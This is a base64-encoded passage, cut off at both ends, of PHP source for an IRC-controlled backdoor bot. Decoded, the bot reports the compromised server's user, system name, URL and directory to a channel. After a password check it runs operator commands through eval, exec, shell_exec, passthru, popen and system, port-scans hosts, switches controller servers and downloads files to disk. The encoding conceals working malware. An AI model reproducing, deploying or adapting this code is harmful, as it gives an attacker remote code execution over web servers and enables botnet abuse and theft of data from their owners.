gpID8NCgkJCQkJKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDog J3gnICkgOg0KCQkJCQkoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUy cgOiAnLScpKTsNCg0KCQkvLyBXb3JsZA0KCQkkaW5mbyAuPSAo KCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCQkkaW 5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScp Ow0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KCQ kJCQkoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6 DQoJCQkJCSgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KCQkJCQkNCgkJCSRyZ2h0cyA9ICIDMT QiLiRpbmZvLiIDIjsJDQoNCgkgICAgICAkdGhpcy0+c2VuZCgi Sk9JTiAiLiR0aGlzLT5jb25maWdbJ2NoYW4nXS4iICIuJHRoaX MtPmNvbmZpZ1sna2V5J10uIiIpOw0KICAgICAgICAgICR0aGlz LT5qb2luKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwkdGhpcy0+Y2 9uZmlnWydrZXknXSk7DQogICAgICAgICAgJHRoaXMtPnByaXZt c2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbdXNyOl0gJHVzcm 5uIFt1bmFtZTpdICRtbmFtZSIpOw0KCQkgICR0aGlzLT5wcml2 bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1NBRkU6XDIgJH NhZmVtb2RlXDJdICR1cmwgW3B3ZDpdICRwdGggKCRyZ2h0cyki KTsNCgkgICB9DQoJICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJG NtZFsxXSA9PSIwMDMiKSANCiAgICAgICB7IA0KCSAgIAkgICR0 aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNvbmZpZ1snY2hhbi ddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS4iIik7DQogICAg ICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbi ddLCR0aGlzLT5jb25maWdbJ2tleSddKTsNCgkgICB9DQogICAJ ICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJGNtZFsxXSA9PSIwMD QiKSANCiAgICAgICB7IA0KCSAgIAkgICR0aGlzLT5zZW5kKCJK T0lOICIuJHRoaXMtPmNvbmZpZ1snY2hhbiddLiIgIi4kdGhpcy 0+Y29uZmlnWydrZXknXS4iIik7DQogICAgICAgICAgJHRoaXMt PmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb2 5maWdbJ2tleSddKTsNCgkgICB9DQoJICAgaWYoaXNzZXQoJGNt ZFsxXSkgJiYgJGNtZFsxXSA9PSIwMDUiKSANCiAgICAgICB7IA 0KCSAgIAkgICR0aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNv bmZpZ1snY2hhbiddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS 4iIik7DQogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNv bmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsNCg kgICB9DQogICAgICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJGNt ZFsxXT09IjQzMyIpIA0KICAgICAgIHsgDQogICAgICAgICAgJH RoaXMtPnNldF9uaWNrKCk7IA0KICAgICAgIH0gDQogICAgICAg aWYoJHRoaXMtPmJ1ZiAhPSAkb2xkX2J1ZikgDQogICAgICAgey ANCiAgICAgICAgICAkbWNtZCA9IGFycmF5KCk7IA0KICAgICAg ICAgICRtc2cgPSBzdWJzdHIoc3Ryc3RyKCR0aGlzLT5idWYsIi A6IiksMik7IA0KICAgICAgICAgICRtc2djbWQgPSBleHBsb2Rl KCIgIiwkbXNnKTsgDQogICAgICAgICAgJG5pY2sgPSBleHBsb2 RlKCIhIiwkY21kWzBdKTsgDQogICAgICAgICAgJHZob3N0ID0g ZXhwbG9kZSgiQCIsJG5pY2tbMV0pOyANCiAgICAgICAgICAkdm hvc3QgPSAkdmhvc3RbMV07IA0KICAgICAgICAgICRuaWNrID0g c3Vic3RyKCRuaWNrWzBdLDEpOyANCiAgICAgICAgICAkaG9zdC A9ICRjbWRbMF07IA0KICAgICAgICAgIGlmKCRtc2djbWRbMF09 PSR0aGlzLT5uaWNrKSANCiAgICAgICAgICB7IA0KICAgICAgIC AgICBmb3IoJGk9MDskaTxjb3VudCgkbXNnY21kKTskaSsrKSAN CiAgICAgICAgICAgICAgJG1jbWRbJGldID0gJG1zZ2NtZFskaS sxXTsgDQogICAgICAgICAgfSANCiAgICAgICAgICBlbHNlIA0K ICAgICAgICAgIHsgDQogICAgICAgICAgIGZvcigkaT0wOyRpPG NvdW50KCRtc2djbWQpOyRpKyspIA0KICAgICAgICAgICAgICAk bWNtZFskaV0gPSAkbXNnY21kWyRpXTsgDQogICAgICAgICAgfS ANCiAgICAgICAgICBpZihjb3VudCgkY21kKT4yKSANCiAgICAg ICAgICB7IA0KICAgICAgICAgICAgIHN3aXRjaCgkY21kWzFdKS ANCiAgICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIGNh c2UgIlFVSVQiOiANCiAgICAgICAgICAgICAgICAgICBpZigkdG hpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgDQogICAgICAgICAg ICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAkdG hpcy0+bG9nX291dCgkaG9zdCk7IA0KICAgICAgICAgICAgICAg ICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgIC AgICAgICAgICAgIGNhc2UgIlBBUlQiOiANCiAgICAgICAgICAg ICAgICAgICBpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KS kgDQogICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAg ICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IA0KIC AgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAg YnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIlBSSVZNU0 ciOiANCiAgICAgICAgICAgICAgICAgICBpZighJHRoaXMtPmlz X2xvZ2dlZF9pbigkaG9zdCkgJiYgKCR2aG9zdCA9PSAkdGhpcy 0+Y29uZmlnWydob3N0YXV0aCddIHx8ICR0aGlzLT5jb25maWdb J2hvc3RhdXRoJ10gPT0gIioiKSkgDQogICAgICAgICAgICAgIC AgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICBpZihzdWJz dHIoJG1jbWRbMF0sMCwxKT09Ii4iKSANCiAgICAgICAgICAgIC AgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAg IHN3aXRjaChzdWJzdHIoJG1jbWRbMF0sMSkpIA0KICAgICAgIC AgICAgICAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgY2FzZSAidXNlciI6IA0KICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgaWYoJG1jbWRbMV09PSR0aGlz LT5jb25maWdbJ3Bhc3N3b3JkJ10pIA0KICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICR0aGlzLT5sb2dfaW4oJGhvc3QpOw 0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgDQogIC AgICAgICAgICAgICAgICAgICAgICAgICAgICB7IA0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm5vdG ljZSgkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMkF1dGhcMl06 IEZvdXRlIHBhc3N3b3JkICRuaWNrIGlkaW9vdCEhIik7DQogIC AgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgIC AgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAg ICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgfSANCiAgIC AgICAgICAgICAgICAgICBlbHNlaWYoJHRoaXMtPmlzX2xvZ2dl ZF9pbigkaG9zdCkpIA0KICAgICAgICAgICAgICAgICAgIHsgDQ ogICAgICAgICAgICAgICAgICAgICAgaWYoc3Vic3RyKCRtY21k WzBdLDAsMSk9PSIuIikgDQogICAgICAgICAgICAgICAgICAgIC AgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2go c3Vic3RyKCRtY21kWzBdLDEpKSANCiAgICAgICAgICAgICAgIC AgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGNhc2UgInJlc3RhcnQiOiANCiAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAkdGhpcy0+c2VuZCgiUVVJVCA6Z2Vy ZXN0YXJ0IGRvb3IgJG5pY2siKTsNCiAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICBmY2xvc2UoJHRoaXMtPmNvbm4pOyAN CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy 0+c3RhcnQoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgIGNhc2UgImRucyI6IA0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgDQogICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAkaXAgPSBleHBsb2 RlKCIuIiwkbWNtZFsxXSk7IA0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIGlmKGNvdW50KCRpcCk9PTQgJiYgaX NfbnVtZXJpYygkaXBbMF0pICYmIGlzX251bWVyaWMoJGlwWzFd KSAmJiBpc19udW1lcmljKCRpcFsyXSkgJiYgaXNfbnVtZXJpYy gkaXBbM10pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25m aWdbJ2NoYW4nXSwiW1wyZG5zXDJdOiAiLiRtY21kWzFdLiIgPT 4gIi5nZXRob3N0YnlhZGRyKCRtY21kWzFdKSk7IA0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IA0KIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0 aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1 wyZG5zXDJdOiAiLiRtY21kWzFdLiIgPT4gIi5nZXRob3N0Ynlu YW1lKCRtY21kWzFdKSk7IA0KICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgIC AgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgY2FzZSAiaW5mbyI6DQogICAgICAgICAgICAgICAgIC AgICAgICAgICAgY2FzZSAidnVubCI6DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIGlmIChAaW5pX2dldCgic2FmZV 9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9t b2RlIikpID09ICJvbiIpIHsgJHNhZmVtb2RlID0gIgM0T04DIj sgfQ0KCQkJCQkJCQkJZWxzZSB7ICRzYWZlbW9kZSA9ICIDOU9G RgMiOyB9DQoJCQkJCQkJCQkNCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAJCSAgCSR1c3IgPSBnZXRfY3VycmVudF91 c2VyKCk7DQoJCQkJCQkJCQkJJHByb2Nlc3NVc2VyID0gcG9zaX hfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJCQkJCQkJ CQlpZiAoJHVzciA9PSAiIikgeyAkdXNyID0gJHByb2Nlc3NVc2 VyWyduYW1lJ107IH0NCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQkk dXNybm4gPSAiAzE0Ii4kdXNyLiIDIjsNCgkJICANCgkJCQkJCQ kJCQlpZigkdXNyID09ICJyb290IikgeyAkdXNybiA9ICIDMTIC Ii4kdXNyLiICAyI7IH0NCgkJCQkJCQkJCQlpZigkdXNyID09IC JTWVNURU0iKSB7ICR1c3JuID0gIgMxMgIiLiR1c3IuIgIDIjsg fQkJIA0KCQkNCgkJCQkJCQkJCQkkbW5hbWUgPSAiAzE0Ii5waH BfdW5hbWUoKS4iAyI7DQoJCQkJCQkJCQkJJHVybCA9ICIDMTRo dHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1 NFUlZFUlsnUkVRVUVTVF9VUkknXS4iAyI7DQoJCQkJCQkJCQkJ JHB0aCA9ICIDMTQiLmdldGN3ZCgpLiIDIjsNCgkJICANCgkJCQ kJCQkJCQkkcHRoaCA9ICBnZXRjd2QoKS4iIjsNCgkJCQkJCQkJ CQljaG1vZCgkcHRoaCwgMDc1NSk7DQoJCQkJCQkJCQkJJHBlcm 1zID0gZmlsZXBlcm1zKCIkcHRoaCIpOw0KDQoJCQkJCQkJCQkJ aWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgeyAkaW 5mbyA9ICdzJzsNCgkJCQkJCQkJCQl9IGVsc2VpZiAoKCRwZXJt cyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOw 0KCQkJCQkJCQkJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAw KSA9PSAweDgwMDApIHsgJGluZm8gPSAnLSc7DQoJCQkJCQkJCQ kJfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAw MCkgeyAkaW5mbyA9ICdiJzsNCgkJCQkJCQkJCQl9IGVsc2VpZi AoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZv ID0gJ2QnOw0KCQkJCQkJCQkJCX0gZWxzZWlmICgoJHBlcm1zIC YgMHgyMDAwKSA9PSAweDIwMDApIHsgJGluZm8gPSAnYyc7DQoJ CQkJCQkJCQkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID 09IDB4MTAwMCkgeyAkaW5mbyA9ICdwJzsNCgkJCQkJCQkJCQl9 IGVsc2UgeyAkaW5mbyA9ICd1JzsgfQ0KDQoJCQkJCQkJCQkJLy 8gT3duZXINCgkJCQkJCQkJCQkkaW5mbyAuPSAoKCRwZXJtcyAm IDB4MDEwMCkgPyAncicgOiAnLScpOw0KCQkJCQkJCQkJCSRpbm ZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJCQkJCQkJCQkJJGluZm8gLj0gKCgkcG VybXMgJiAweDAwNDApID8NCgkJCQkJCQkJCQkJCQkoKCRwZXJt cyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoJCQkJCQkJCQ kJCQkJKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7 DQoNCgkJCQkJCQkJCQkvLyBHcm91cA0KCQkJCQkJCQkJCSRpbm ZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJCQkJCQkJCQkJJGluZm8gLj0gKCgkcG VybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkJCQkJCQkJ CQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KCQkJCQ kJCQkJCQkJCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoNCgkJCQkJCQkJCQkJCQkoKCRwZXJtcy AmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KCQkJCQkJCQkJ CS8vIFdvcmxkDQoJCQkJCQkJCQkJJGluZm8gLj0gKCgkcGVybX MgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkJCQkJCQkJCQkk aW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLS cpOw0KCQkJCQkJCQkJCSRpbmZvIC49ICgoJHBlcm1zICYgMHgw MDAxKSA/DQoJCQkJCQkJCQkJCQkJKCgkcGVybXMgJiAweDAyMDApID8gJ3 QnIDogJ3gnICkgOg0KCQkJCQkJCQkJCQkJCSgoJHBlcm1zICYg MHgwMjAwKSA/ICdUJyA6ICctJykpOw0KCQkJCQkJCQkJCQkJCQ0KCQkJCQkJCQ kJCQkkcmdodHMgPSAiAzE0Ii4kaW5mby4iAyI7CQ0KCQkJDQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPn ByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbdXNyOl0g JHVzcm5uIFt1bmFtZTpdICRtbmFtZSIpOw0KICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0 aGlzLT5jb25maWdbJ2NoYW4nXSwiW1NBRkU6XDIgJHNhZmVtb2 RlXDJdICR1cmwgW3B3ZDpdICRwdGggKCRyZ2h0cykiKTsNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCg0KIC AgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJuZG5p Y2siOiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AkdGhpcy0+c2V0X25pY2soKTsgDQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgYnJlYWs7IA0KCQkJCQkJCQ0KICAgICAgIC AgICAgICAgICAgICAgICAgICAgIGNhc2UgInJhdyI6DQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNlbm Qoc3Ryc3RyKCRtc2csJG1jbWRbMV0pKTsgDQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KCQkJCQkJCQ0KIC AgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImV2YWwi Og0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV2YW wgPSBldmFsKHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFsxXSks c3RybGVuKCRtY21kWzFdKSkpOw0KICAgICAgICAgICAgICAgIC AgICAgICAgICAgIGJyZWFrOw0KCQkJCQkJCQ0KCQkJICAgICAg ICAgICAgICAgIGNhc2UgInNleGVjIjoNCiAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihz dHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKS sxKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg JGV4ZWMgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsgDQogICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxv ZGUoIlxuIiwkZXhlYyk7IA0KICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRyZXQpOyRp KyspIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgIGlmKCRyZXRbJGldIT1OVUxMKSANCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZy gkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmlt KCRyZXRbJGldKSk7IA0KICAgICAgICAgICAgICAgICAgICAgIC AgICAgIGJyZWFrOyANCg0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgIGNhc2UgImV4ZWMiOiANCiAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJz dHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKT sgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4 ZWMgPSBleGVjKCRjb21tYW5kKTsgDQogICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwk ZXhlYyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgIGZvcigkaT0wOyRpPGNvdW50KCRyZXQpOyRpKyspIA0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZX RbJGldIT1OVUxMKSANCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y2 9uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGld KSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZW FrOyANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNh c2UgInBhc3N0aHJ1IjogDQogICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgJGNvbW1hbmQgPSBzdWJzdHIoc3Ryc3RyKCRt c2csJG1jbWRbMF0pLHN0cmxlbigkbWNtZFswXSkrMSk7IA0KDQ ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4ZWMg PSBwYXNzdGhydSgkY29tbWFuZCk7IA0KICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgICRyZXQgPSBleHBsb2RlKCJcbiIs JGV4ZWMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSANCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcm V0WyRpXSE9TlVMTCkgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPm NvbmZpZ1snY2hhbiddLCIgICAgICA6ICIudHJpbSgkcmV0WyRp XSkpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicm VhazsgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBj YXNlICJwb3BlbiI6IA0KICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgDQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1 YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY2 1kWzBdKSsxKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1 snY2hhbiddLCJbXDJwb3BlblwyXTogJGNvbW1hbmQiKTsNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGlwZS A9IHBvcGVuKCRjb21tYW5kLCJyIik7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaX BlKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAkcGJ1ZiA9IHRyaW0oZmdldHMoJHBpcGUsNTEyKSk7 IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgIGlmKCRwYnVmICE9IE5VTEwpIA0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bX NnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICA6ICRwYnVm Iik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgcGNsb3NlKCRwaXBlKTsgDQogICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgfSAgDQoJCQkgICANCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICBjYXNlICJzeXN0ZW0iOiANCiAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9 IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKC RtY21kWzBdKSsxKTsgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgJGV4ZWMgPSBzeXN0ZW0oJGNvbW1hbmQpOyANCi AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0g ZXhwbG9kZSgiXG4iLCRleGVjKTsgDQogICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJl dCk7JGkrKykgDQogICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgaWYoJHJldFskaV0hPU5VTEwpIA0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcm l2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAi LnRyaW0oJHJldFskaV0pKTsgDQogICAgICAgICAgICAgICAgIC AgICAgICAgICAgYnJlYWs7IA0KDQoNCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICBjYXNlICJwc2NhbiI6IC8vIC5wc2Nhbi AxMjcuMC4wLjEgNjY2NyANCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBpZihjb3VudCgkbWNtZCkgPiAyKSANCiAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICB7IA0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZzb2Nrb3 BlbigkbWNtZFsxXSwkbWNtZFsyXSwkZSwkcywxNSkpIA0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aG lzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wy cHNjYW5cMl06ICIuJG1jbWRbMV0uIjoiLiRtY21kWzJdLiIgaX MgXDJvcGVuXDIiKTsgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhp cy0+Y29uZmlnWydjaGFuJ10sIltcMnBzY2FuXDJdOiAiLiRtY2 1kWzFdLiI6Ii4kbWNtZFsyXS4iIGlzIFwyY2xvc2VkXDIiKTsg DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCi AgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgDQoJ CQkJCQkJDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2 FzZSAidWQuc2VydmVyIjogLy8gLnVkLnNlcnZlciA8c2VydmVy PiA8cG9ydD4gW3Bhc3N3b3JkXSANCiAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICBpZihjb3VudCgkbWNtZCk+MikgDQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ Y29uZmlnWydzZXJ2ZXInXSA9ICRtY21kWzFdOyANCiAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29u ZmlnWydwb3J0J10gPSAkbWNtZFsyXTsgDQogICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJG1jbWNk WzNdKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgJHRoaXMtPmNvbmZpZ1sncGFzcyddID0gJG1jbWRbM1 07IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ1 0sIltcMnVwZGF0ZVwyXTogU2VydmVyIHZlcmFuZGVyZCAiLiRt Y21kWzFdLiI6Ii4kbWNtZFsyXS4iIFdhY2h0d29vcmQ6ICIuJG 1jbWRbM10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+ Y29uZmlnWydjaGFuJ10sIltcMnVwZGF0ZVwyXTogU2VydmVyIH ZlcmFuZGVyZCAiLiRtY21kWzFdLiI6Ii4kbWNtZFsyXSk7IA0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQ ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgDQoJCQ kJCQkJDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2Fz ZSAiZG93bmxvYWQiOiANCiAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICBpZihjb3VudCgkbWNtZCkgPiAyKSANCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICB7IA0KICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZnAgPSBm b3BlbigkbWNtZFsyXSwidyIpKSANCiAgICAgICAgICAgICAgIC 